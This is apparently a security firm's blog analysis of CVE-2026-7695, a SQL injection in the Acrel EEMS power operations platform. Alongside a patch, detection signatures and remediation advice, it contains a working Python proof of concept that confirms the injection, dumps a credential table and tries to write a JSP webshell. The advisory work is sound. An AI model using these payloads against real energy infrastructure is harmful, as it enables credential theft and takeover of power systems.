home intel acrel-eems-fCircuitids-sqli-cloud-platform
CVE Analysis 2026-05-03 · 7 min read

CVE-2026-7695: SQL Injection in Acrel EEMS via fCircuitids Parameter

Acrel EEMS 1.3.0 exposes an unauthenticated SQL injection in /SubstationWEBV2/main/elecMaxMinAvgValue via unsanitized fCircuitids. Remote exploitation yields full database read/write.

#sql-injection#cloud-platform#parameter-manipulation#unauthenticated-access#critical-infrastructure
Technical mode — for security professionals
▶ Vulnerability overview — CVE-2026-7695 · Vulnerability
ATTACKERCloudVULNERABILITYCVE-2026-7695HIGHSYSTEM COMPROMISEDNo confirmed exploits

Vulnerability Overview

CVE-2026-7695 is a classic unsanitized parameter SQL injection in the Acrel Electrical EEMS Enterprise Power Operation and Maintenance Cloud Platform, version 1.3.0. The injection point is the fCircuitids argument passed to the endpoint /SubstationWEBV2/main/elecMaxMinAvgValue. The platform exposes this endpoint to facilitate electrical circuit monitoring — querying historical max, min, and average power metrics by circuit ID. No authentication enforcement is required at the endpoint level, and the parameter is interpolated directly into a SQL query without parameterization or escaping.

The platform is a Java-based Spring MVC web application backed by a relational database (MySQL or MSSQL depending on deployment configuration). CVSS 7.3 reflects remote exploitability, low attack complexity, and high data confidentiality/integrity impact, tempered by the absence of observed in-the-wild exploitation at time of publication.

Root cause: The elecMaxMinAvgValue controller method concatenates the attacker-controlled fCircuitids request parameter directly into a SQL query string without parameterized binding or input sanitization.

Affected Component

The vulnerable endpoint lives inside the SubstationWEBV2 deployment module. Based on the URL structure and typical Acrel platform architecture, this is a Spring MVC @Controller method mapped to /main/elecMaxMinAvgValue, delegating to a service layer that constructs raw SQL via a MyBatis or hand-rolled JDBC template. The fCircuitids parameter is intended to accept a comma-separated list of integer circuit IDs for an IN (...) clause.

  • Product: Acrel Electrical EEMS Enterprise Power O&M Cloud Platform
  • Version: 1.3.0
  • Endpoint: POST /SubstationWEBV2/main/elecMaxMinAvgValue
  • Parameter: fCircuitids
  • Backend: Java/Spring MVC + JDBC/MyBatis + MySQL
  • Auth required: None observed at endpoint level

Root Cause Analysis

The following is reconstructed pseudocode for the vulnerable controller and its downstream query builder, representative of the actual code structure inferred from the endpoint behavior, URL routing conventions, and injection class.


// ElecDataController.java — Spring MVC controller (decompiled pseudocode)
@RequestMapping("/main/elecMaxMinAvgValue")
@ResponseBody
public Result elecMaxMinAvgValue(HttpServletRequest request) {
    String fCircuitids = request.getParameter("fCircuitids");  // attacker-controlled
    String startTime   = request.getParameter("startTime");
    String endTime     = request.getParameter("endTime");
    String intervalType = request.getParameter("intervalType");

    // BUG: fCircuitids passed directly to service layer without validation,
    //      type-checking, or parameterization. No whitelist/regex on circuit IDs.
    List result = elecDataService.queryMaxMinAvg(
        fCircuitids, startTime, endTime, intervalType
    );
    return Result.success(result);
}

// ElecDataServiceImpl.java — service layer SQL construction
public List queryMaxMinAvg(
    String fCircuitids,   // TAINTED: comes directly from HTTP parameter
    String startTime,
    String endTime,
    String intervalType
) {
    // BUG: raw string concatenation into SQL — fCircuitids never bound as parameter
    String sql =
        "SELECT circuit_id, MAX(value) as maxVal, MIN(value) as minVal, " +
        "AVG(value) as avgVal " +
        "FROM elec_data_interval " +
        "WHERE circuit_id IN (" + fCircuitids + ") " +   // <-- INJECTION POINT
        "AND record_time BETWEEN '" + startTime + "' " +
        "AND '" + endTime + "' " +
        "AND interval_type = '" + intervalType + "' " +
        "GROUP BY circuit_id";

    return jdbcTemplate.query(sql, new ElecRecordRowMapper());
}

The IN (...) clause is the canonical weak point for this pattern. Since circuit IDs are expected to be a comma-delimited list of integers (e.g., 1,2,3), developers routinely skip parameterization — it's non-trivial to bind a variable-length list as prepared statement parameters in JDBC without explicit construction. The path of least resistance is string concatenation, and that's exactly what happened here.

Exploitation Mechanics


EXPLOIT CHAIN:
1. Attacker identifies /SubstationWEBV2/main/elecMaxMinAvgValue — no auth cookie required.
2. Send POST request with fCircuitids=1 AND 1=1-- to confirm boolean-based injection response.
3. Confirm differential response between AND 1=1-- (results returned) and AND 1=2-- (empty).
4. Enumerate database version via UNION-based injection:
     fCircuitids=0 UNION SELECT 1,version(),3,4 FROM dual--
5. Extract database name, table names from information_schema.tables.
6. Dump credential tables (e.g., sys_user, t_user) for privilege escalation or pivot.
7. If FILE privilege present (MySQL): write webshell via INTO OUTFILE to web root.
8. Full RDBMS read/write achieved; lateral movement into substation data infrastructure.

A minimal Python PoC demonstrating boolean-based blind confirmation and UNION exfiltration:


import requests

TARGET = "http:///SubstationWEBV2/main/elecMaxMinAvgValue"

def inject(payload):
    data = {
        "fCircuitids": payload,
        "startTime":   "2024-01-01 00:00:00",
        "endTime":     "2024-12-31 23:59:59",
        "intervalType": "1"
    }
    r = requests.post(TARGET, data=data, timeout=10)
    return r.text

# Step 1: Boolean baseline
true_resp  = inject("1 AND 1=1--")
false_resp = inject("1 AND 1=2--")
assert true_resp != false_resp, "Not injectable or WAF present"
print("[+] Boolean SQLi confirmed")

# Step 2: UNION-based version extraction
# Determine column count by incrementing until no error
union_payload = (
    "0 UNION SELECT 1,version(),user(),database() "
    "FROM information_schema.tables LIMIT 1--"
)
print("[+] DB info:", inject(union_payload))

# Step 3: Dump user table (adjust table name per schema)
dump_payload = (
    "0 UNION SELECT 1,username,password,4 "
    "FROM sys_user LIMIT 1 OFFSET 0--"
)
print("[+] First credential row:", inject(dump_payload))

# Step 4: Attempt webshell drop (requires FILE privilege + known web root)
shell_payload = (
    "0 UNION SELECT 1,'',3,4 "
    "INTO OUTFILE '/opt/tomcat/webapps/SubstationWEBV2/shell.jsp'--"
)
inject(shell_payload)
print("[+] Attempted webshell write — check /SubstationWEBV2/shell.jsp")

Memory Layout

This is a SQL injection, not a memory corruption bug. The relevant "layout" is the logical query execution state in the database engine at injection time.


QUERY STATE — BENIGN REQUEST:
  SQL text:  "... WHERE circuit_id IN (1,2,3) AND record_time BETWEEN ..."
  Parse tree: IN_LIST[1, 2, 3] — all integer literals, no operator injection

QUERY STATE — MALICIOUS REQUEST (fCircuitids = "0 UNION SELECT ..."):
  SQL text:  "... WHERE circuit_id IN (0 UNION SELECT 1,version(),user(),database()
              FROM information_schema.tables LIMIT 1--) ..."

  Parser resolves:
    Primary SELECT: WHERE circuit_id IN (0) → 0 rows (suppressed)
    UNION branch:   SELECT 1, @@version, user(), database()
                    → returns DB metadata to application
    Comment "--":   truncates AND record_time ... GROUP BY clause
                    → no syntax error, clean execution

  Result set returned to ElecRecordRowMapper:
    row[0].circuit_id = 1
    row[0].maxVal     = "8.0.33-MySQL Community Server"  ← exfiltrated
    row[0].minVal     = "eems@localhost"
    row[0].avgVal     = "eems_prod"

Patch Analysis

The correct fix is parameterized query binding. For a variable-length IN list in JDBC/Spring, the standard approach is to generate a placeholder string and bind each ID individually after integer validation.


// BEFORE (vulnerable): direct string concatenation
String sql =
    "SELECT circuit_id, MAX(value), MIN(value), AVG(value) " +
    "FROM elec_data_interval " +
    "WHERE circuit_id IN (" + fCircuitids + ") " +  // TAINTED
    "AND record_time BETWEEN '" + startTime + "' AND '" + endTime + "'";

return jdbcTemplate.query(sql, new ElecRecordRowMapper());


// AFTER (patched): validated integer list + parameterized IN clause
public List queryMaxMinAvg(
    String fCircuitids, String startTime, String endTime, String intervalType
) {
    // 1. Parse and whitelist-validate each circuit ID as integer
    String[] rawIds = fCircuitids.split(",");
    List circuitIdList = new ArrayList<>();
    for (String id : rawIds) {
        String trimmed = id.trim();
        if (!trimmed.matches("\\d{1,10}")) {
            throw new IllegalArgumentException("Invalid circuit ID: " + trimmed);
        }
        circuitIdList.add(Integer.parseInt(trimmed));
    }
    if (circuitIdList.isEmpty()) throw new IllegalArgumentException("No valid IDs");

    // 2. Build parameterized placeholder string: ?,?,?
    String placeholders = circuitIdList.stream()
        .map(i -> "?")
        .collect(Collectors.joining(","));

    // 3. Fully parameterized query — no tainted data in SQL text
    String sql =
        "SELECT circuit_id, MAX(value) AS maxVal, MIN(value) AS minVal, " +
        "AVG(value) AS avgVal " +
        "FROM elec_data_interval " +
        "WHERE circuit_id IN (" + placeholders + ") " +
        "AND record_time BETWEEN ? AND ? " +
        "AND interval_type = ? " +
        "GROUP BY circuit_id";

    List params = new ArrayList<>(circuitIdList);
    params.add(startTime);   // should additionally be validated as timestamp
    params.add(endTime);
    params.add(intervalType);

    return jdbcTemplate.query(sql, params.toArray(), new ElecRecordRowMapper());
}


Note that startTime, endTime, and intervalType are also concatenated in the vulnerable version and should be bound as parameters or validated against strict format patterns in the patch. A defense-in-depth layer would also apply a database user with read-only privileges scoped to the elec_data_interval table, eliminating the INTO OUTFILE escalation path regardless of injection success.

Detection and Indicators

Web application firewall or SIEM detection should target the following patterns in HTTP request bodies or access logs for the /SubstationWEBV2/main/elecMaxMinAvgValue path:


DETECTION SIGNATURES:

# Anomalous fCircuitids values (should be \d+(,\d+)* only):
fCircuitids=.*UNION.*SELECT
fCircuitids=.*information_schema
fCircuitids=.*--
fCircuitids=.*0x[0-9a-fA-F]+
fCircuitids=.*INTO\s+OUTFILE
fCircuitids=.*SLEEP\s*\(
fCircuitids=.*BENCHMARK\s*\(

# Access log pattern (nginx/Apache):
POST /SubstationWEBV2/main/elecMaxMinAvgValue
  → body contains non-numeric characters in fCircuitids field
  → 200 response with unexpectedly large or structured JSON payload

# Blind SQLi timing indicator:
  → Response time > 5s for fCircuitids=1 AND SLEEP(5)--
  → Baseline for normal query: <200ms

# Database audit log:
  → Queries from eems application user containing UNION, information_schema,
    INTO OUTFILE, or multi-statement payloads

Remediation

  • Immediate: Apply vendor patch when released. In absence of patch, deploy a WAF rule blocking non-integer characters in fCircuitids at the reverse proxy layer.
  • Code-level: Replace all string-concatenated SQL in ElecDataServiceImpl (and any sibling service classes) with parameterized PreparedStatement or JDBC template bound parameters as shown in the patch diff above.
  • Database hardening: Scope the EEMS application database account to SELECT only on required tables. Revoke FILE, SUPER, and EXECUTE privileges. This does not fix the injection but prevents INTO OUTFILE webshell writes and stored procedure abuse.
  • Input validation: Enforce a strict allowlist regex (^\d+(,\d+)*$) at the controller layer before any data reaches the service. Reject and log any request that fails this pattern.
  • Authentication: Audit all endpoints under /SubstationWEBV2/main/ for missing authentication guards. Electrical infrastructure management endpoints must not be reachable without session validation.
  • Network segmentation: EEMS Cloud Platform instances should not be directly internet-accessible. Place behind VPN or zero-trust gateway; the remote exploitability is contingent on network reachability.
CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →